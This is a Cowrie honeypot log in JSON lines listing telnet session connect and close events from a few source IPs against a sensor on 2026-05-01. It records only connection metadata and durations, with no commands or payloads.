{"eventid":"cowrie.session.closed","duration":30.88966155052185,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:51:51.061995Z","src_ip":"45.14.224.154","session":"5a324b7d008f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.477426052093506,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:51:55.108540Z","src_ip":"45.14.224.154","session":"8a5ea60b3f0a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.14.224.154","src_port":37698,"dst_ip":"159.203.135.109","dst_port":23,"session":"49241e6dae4a","protocol":"telnet","message":"New connection: 45.14.224.154:37698 (159.203.135.109:23) [session: 49241e6dae4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:51:58.579786Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.14.224.154","src_port":37700,"dst_ip":"159.203.135.109","dst_port":23,"session":"f21bb75b0cfb","protocol":"telnet","message":"New connection: 45.14.224.154:37700 (159.203.135.109:23) [session: f21bb75b0cfb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:51:59.786062Z"}
{"eventid":"cowrie.session.closed","duration":35.47668480873108,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:52:00.752336Z","src_ip":"45.63.42.31","session":"593b3d4899f5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.779032468795776,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:52:02.088805Z","src_ip":"45.14.224.154","session":"4aa2dc2246ea","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.088071823120117,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:52:02.470423Z","src_ip":"45.14.224.154","session":"ca14e4c5351e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.6296546459198,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:52:07.043700Z","src_ip":"45.14.224.154","session":"0bec09e916fe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.819260120391846,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:52:07.360990Z","src_ip":"103.115.172.252","session":"a1b26ba69ae4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.14.224.154","src_port":56320,"dst_ip":"159.203.135.109","dst_port":23,"session":"0c8e1593ed8d","protocol":"telnet","message":"New connection: 45.14.224.154:56320 (159.203.135.109:23) [session: 0c8e1593ed8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:52:11.201308Z"}
{"eventid":"cowrie.session.closed","duration":33.24917411804199,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:52:11.970911Z","src_ip":"103.115.172.252","session":"0e75abfcac18","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.14.224.154","src_port":44238,"dst_ip":"159.203.135.109","dst_port":23,"session":"0bfd10421170","protocol":"telnet","message":"New connection: 45.14.224.154:44238 (159.203.135.109:23) [session: 0bfd10421170]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:52:13.333780Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.14.224.154","src_port":44242,"dst_ip":"159.203.135.109","dst_port":23,"session":"2dfa898192e8","protocol":"telnet","message":"New connection: 45.14.224.154:44242 (159.203.135.109:23) [session: 2dfa898192e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:52:16.403989Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":33160,"dst_ip":"10.17.0.5","dst_port":23,"session":"becf289a3f12","protocol":"telnet","message":"New connection: 45.63.42.31:33160 (10.17.0.5:23) [session: becf289a3f12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:52:18.230216Z"}
{"eventid":"cowrie.session.closed","duration":32.71764039993286,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:52:18.959637Z","src_ip":"103.115.172.252","session":"798d31ada0e7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.549110174179077,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:52:19.178169Z","src_ip":"45.14.224.154","session":"a98a36e82b34","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.907437562942505,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:52:20.045514Z","src_ip":"45.14.224.154","session":"740cd6358726","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":34562,"dst_ip":"10.17.0.5","dst_port":23,"session":"9bea92026a10","protocol":"telnet","message":"New connection: 45.63.42.31:34562 (10.17.0.5:23) [session: 9bea92026a10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:52:21.023879Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":54188,"dst_ip":"10.17.0.5","dst_port":23,"session":"fb007b7f7e16","protocol":"telnet","message":"New connection: 161.97.181.240:54188 (10.17.0.5:23) [session: fb007b7f7e16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:52:22.007661Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.14.224.154","src_port":37696,"dst_ip":"159.203.135.109","dst_port":23,"session":"a9e3bf67e6af","protocol":"telnet","message":"New connection: 45.14.224.154:37696 (159.203.135.109:23) [session: a9e3bf67e6af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:52:25.369314Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.14.224.154","src_port":37706,"dst_ip":"159.203.135.109","dst_port":23,"session":"b068fbd6f789","protocol":"telnet","message":"New connection: 45.14.224.154:37706 (159.203.135.109:23) [session: b068fbd6f789]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:52:27.779761Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.14.224.154","src_port":37720,"dst_ip":"159.203.135.109","dst_port":23,"session":"8d21c29be634","protocol":"telnet","message":"New connection: 45.14.224.154:37720 (159.203.135.109:23) [session: 8d21c29be634]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:52:28.745650Z"}
{"eventid":"cowrie.session.closed","duration":30.592989444732666,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:52:29.172607Z","src_ip":"45.14.224.154","session":"49241e6dae4a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.26651644706726,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:52:30.052459Z","src_ip":"45.14.224.154","session":"f21bb75b0cfb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":57324,"dst_ip":"10.17.0.5","dst_port":23,"session":"c708298a1759","protocol":"telnet","message":"New connection: 45.63.42.31:57324 (10.17.0.5:23) [session: c708298a1759]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:52:32.520139Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.14.224.154","src_port":50720,"dst_ip":"159.203.135.109","dst_port":23,"session":"fe6152f32df2","protocol":"telnet","message":"New connection: 45.14.224.154:50720 (159.203.135.109:23) [session: fe6152f32df2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:52:33.789985Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.14.224.154","src_port":50736,"dst_ip":"159.203.135.109","dst_port":23,"session":"102e5f0c7a4b","protocol":"telnet","message":"New connection: 45.14.224.154:50736 (159.203.135.109:23) [session: 102e5f0c7a4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:52:34.433469Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":46302,"dst_ip":"10.17.0.5","dst_port":23,"session":"70dcdab7729f","protocol":"telnet","message":"New connection: 45.63.42.31:46302 (10.17.0.5:23) [session: 70dcdab7729f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:52:37.982377Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.14.224.154","src_port":55028,"dst_ip":"159.203.135.109","dst_port":23,"session":"86015e644490","protocol":"telnet","message":"New connection: 45.14.224.154:55028 (159.203.135.109:23) [session: 86015e644490]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:52:42.060860Z"}
{"eventid":"cowrie.session.closed","duration":30.866169452667236,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:52:42.067353Z","src_ip":"45.14.224.154","session":"0c8e1593ed8d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":53062,"dst_ip":"10.17.0.5","dst_port":23,"session":"1aa1ed2ee1d8","protocol":"telnet","message":"New connection: 45.63.42.31:53062 (10.17.0.5:23) [session: 1aa1ed2ee1d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:52:42.530514Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.19.199.224","src_port":54330,"dst_ip":"10.17.0.5","dst_port":23,"session":"b43300722ac1","protocol":"telnet","message":"New connection: 37.19.199.224:54330 (10.17.0.5:23) [session: b43300722ac1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:52:42.756742Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.14.224.154","src_port":55030,"dst_ip":"159.203.135.109","dst_port":23,"session":"9f1f5a2fdd93","protocol":"telnet","message":"New connection: 45.14.224.154:55030 (159.203.135.109:23) [session: 9f1f5a2fdd93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:52:43.062489Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.14.224.154","src_port":55036,"dst_ip":"159.203.135.109","dst_port":23,"session":"350212356d34","protocol":"telnet","message":"New connection: 45.14.224.154:55036 (159.203.135.109:23) [session: 350212356d34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:52:43.297853Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.14.224.154","src_port":55040,"dst_ip":"159.203.135.109","dst_port":23,"session":"446267d8eb92","protocol":"telnet","message":"New connection: 45.14.224.154:55040 (159.203.135.109:23) [session: 446267d8eb92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:52:43.913235Z"}
{"eventid":"cowrie.session.closed","duration":31.173197031021118,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:52:44.506892Z","src_ip":"45.14.224.154","session":"0bfd10421170","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.5334980487823486,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:52:45.290117Z","src_ip":"37.19.199.224","session":"b43300722ac1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.652429342269897,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:52:47.056185Z","src_ip":"45.14.224.154","session":"2dfa898192e8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.14.224.154","src_port":55050,"dst_ip":"159.203.135.109","dst_port":23,"session":"14af7817d8ce","protocol":"telnet","message":"New connection: 45.14.224.154:55050 (159.203.135.109:23) [session: 14af7817d8ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:52:48.200788Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":40620,"dst_ip":"10.17.0.5","dst_port":23,"session":"b7c0d248efea","protocol":"telnet","message":"New connection: 45.63.42.31:40620 (10.17.0.5:23) [session: b7c0d248efea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:52:50.684722Z"}
{"eventid":"cowrie.session.closed","duration":31.102505922317505,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:52:53.110087Z","src_ip":"161.97.181.240","session":"fb007b7f7e16","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.14.224.154","src_port":36968,"dst_ip":"159.203.135.109","dst_port":23,"session":"dcdcc4063d81","protocol":"telnet","message":"New connection: 45.14.224.154:36968 (159.203.135.109:23) [session: dcdcc4063d81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:52:53.581838Z"}
{"eventid":"cowrie.session.closed","duration":35.978442430496216,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:52:54.208519Z","src_ip":"45.63.42.31","session":"becf289a3f12","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.57063889503479,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:52:55.594341Z","src_ip":"45.63.42.31","session":"9bea92026a10","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.683525800704956,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:52:56.052710Z","src_ip":"45.14.224.154","session":"a9e3bf67e6af","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":51938,"dst_ip":"10.17.0.5","dst_port":23,"session":"e11112467e9f","protocol":"telnet","message":"New connection: 45.63.42.31:51938 (10.17.0.5:23) [session: e11112467e9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:52:56.350029Z"}
{"eventid":"cowrie.session.closed","duration":30.45132279396057,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:52:58.230948Z","src_ip":"45.14.224.154","session":"b068fbd6f789","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.305885076522827,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:52:59.051431Z","src_ip":"45.14.224.154","session":"8d21c29be634","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.14.224.154","src_port":36972,"dst_ip":"159.203.135.109","dst_port":23,"session":"a1d080655dec","protocol":"telnet","message":"New connection: 45.14.224.154:36972 (159.203.135.109:23) [session: a1d080655dec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:53:00.675679Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.19.199.224","src_port":54824,"dst_ip":"10.17.0.5","dst_port":23,"session":"f604cb2b661c","protocol":"telnet","message":"New connection: 37.19.199.224:54824 (10.17.0.5:23) [session: f604cb2b661c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:53:01.608719Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":38230,"dst_ip":"10.17.0.5","dst_port":23,"session":"e3a801a017e9","protocol":"telnet","message":"New connection: 45.63.42.31:38230 (10.17.0.5:23) [session: e3a801a017e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:53:03.546699Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.19.199.224","src_port":58370,"dst_ip":"10.17.0.5","dst_port":23,"session":"cea12131546f","protocol":"telnet","message":"New connection: 37.19.199.224:58370 (10.17.0.5:23) [session: cea12131546f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:53:03.568225Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.14.224.154","src_port":44030,"dst_ip":"159.203.135.109","dst_port":23,"session":"36e00935affb","protocol":"telnet","message":"New connection: 45.14.224.154:44030 (159.203.135.109:23) [session: 36e00935affb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:53:03.967230Z"}
{"eventid":"cowrie.session.closed","duration":30.28076720237732,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:53:04.070647Z","src_ip":"45.14.224.154","session":"fe6152f32df2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.14.224.154","src_port":44036,"dst_ip":"159.203.135.109","dst_port":23,"session":"e659720b3ac7","protocol":"telnet","message":"New connection: 45.14.224.154:44036 (159.203.135.109:23) [session: e659720b3ac7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:53:04.818771Z"}
{"eventid":"cowrie.session.closed","duration":30.774652242660522,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:53:05.207968Z","src_ip":"45.14.224.154","session":"102e5f0c7a4b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.6960136890411377,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:53:07.264081Z","src_ip":"37.19.199.224","session":"cea12131546f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.0501606464386,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:53:07.570194Z","src_ip":"45.63.42.31","session":"c708298a1759","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":52666,"dst_ip":"10.17.0.5","dst_port":23,"session":"f5edcf888769","protocol":"telnet","message":"New connection: 45.63.42.31:52666 (10.17.0.5:23) [session: f5edcf888769]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:53:09.706542Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.19.199.224","src_port":58742,"dst_ip":"10.17.0.5","dst_port":23,"session":"eac16f34545d","protocol":"telnet","message":"New connection: 37.19.199.224:58742 (10.17.0.5:23) [session: eac16f34545d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:53:09.774994Z"}
{"eventid":"cowrie.session.closed","duration":0.4797177314758301,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:53:10.254604Z","src_ip":"37.19.199.224","session":"eac16f34545d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.14.224.154","src_port":44050,"dst_ip":"159.203.135.109","dst_port":23,"session":"8b7c4e227ede","protocol":"telnet","message":"New connection: 45.14.224.154:44050 (159.203.135.109:23) [session: 8b7c4e227ede]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:53:10.327349Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.19.199.224","src_port":59134,"dst_ip":"10.17.0.5","dst_port":23,"session":"d21acacd0574","protocol":"telnet","message":"New connection: 37.19.199.224:59134 (10.17.0.5:23) [session: d21acacd0574]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:53:10.692333Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.172.252","src_port":49068,"dst_ip":"10.17.0.5","dst_port":23,"session":"f6f7265584bb","protocol":"telnet","message":"New connection: 103.115.172.252:49068 (10.17.0.5:23) [session: f6f7265584bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:53:11.238456Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":56338,"dst_ip":"10.17.0.5","dst_port":23,"session":"29c105266a26","protocol":"telnet","message":"New connection: 45.63.42.31:56338 (10.17.0.5:23) [session: 29c105266a26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:53:11.588653Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.14.224.154","src_port":42548,"dst_ip":"159.203.135.109","dst_port":23,"session":"d8bdab3a3132","protocol":"telnet","message":"New connection: 45.14.224.154:42548 (159.203.135.109:23) [session: d8bdab3a3132]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:53:12.406573Z"}
{"eventid":"cowrie.session.closed","duration":30.9959077835083,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:53:13.056634Z","src_ip":"45.14.224.154","session":"86015e644490","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":54930,"dst_ip":"10.17.0.5","dst_port":23,"session":"f1a5e547010a","protocol":"telnet","message":"New connection: 45.63.42.31:54930 (10.17.0.5:23) [session: f1a5e547010a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:53:13.858555Z"}
{"eventid":"cowrie.session.closed","duration":30.748696088790894,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:53:14.046425Z","src_ip":"45.14.224.154","session":"350212356d34","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.99544405937195,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:53:14.057771Z","src_ip":"45.14.224.154","session":"9f1f5a2fdd93","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.15196418762207,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:53:14.065065Z","src_ip":"45.14.224.154","session":"446267d8eb92","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.14.224.154","src_port":42560,"dst_ip":"159.203.135.109","dst_port":23,"session":"5252cb07f197","protocol":"telnet","message":"New connection: 45.14.224.154:42560 (159.203.135.109:23) [session: 5252cb07f197]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:53:14.486836Z"}
{"eventid":"cowrie.session.closed","duration":36.64157056808472,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:53:14.623936Z","src_ip":"45.63.42.31","session":"70dcdab7729f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.39430832862854,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:53:17.924709Z","src_ip":"45.63.42.31","session":"1aa1ed2ee1d8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.843432903289795,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:53:19.044176Z","src_ip":"45.14.224.154","session":"14af7817d8ce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":43332,"dst_ip":"10.17.0.5","dst_port":23,"session":"92c8a21323c2","protocol":"telnet","message":"New connection: 45.63.42.31:43332 (10.17.0.5:23) [session: 92c8a21323c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:53:19.193035Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.14.224.154","src_port":42572,"dst_ip":"159.203.135.109","dst_port":23,"session":"4f9099d2df75","protocol":"telnet","message":"New connection: 45.14.224.154:42572 (159.203.135.109:23) [session: 4f9099d2df75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:53:19.409934Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.14.224.154","src_port":42584,"dst_ip":"159.203.135.109","dst_port":23,"session":"4693397e0ca7","protocol":"telnet","message":"New connection: 45.14.224.154:42584 (159.203.135.109:23) [session: 4693397e0ca7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:53:19.806150Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":60884,"dst_ip":"10.17.0.5","dst_port":23,"session":"d0b250234d2a","protocol":"telnet","message":"New connection: 161.97.181.240:60884 (10.17.0.5:23) [session: d0b250234d2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:53:20.365859Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.14.224.154","src_port":43394,"dst_ip":"159.203.135.109","dst_port":23,"session":"ee408ad418a1","protocol":"telnet","message":"New connection: 45.14.224.154:43394 (159.203.135.109:23) [session: ee408ad418a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:53:22.211999Z"}
{"eventid":"cowrie.session.closed","duration":33.43510437011719,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:53:24.119724Z","src_ip":"45.63.42.31","session":"b7c0d248efea","protocol":"telnet"}
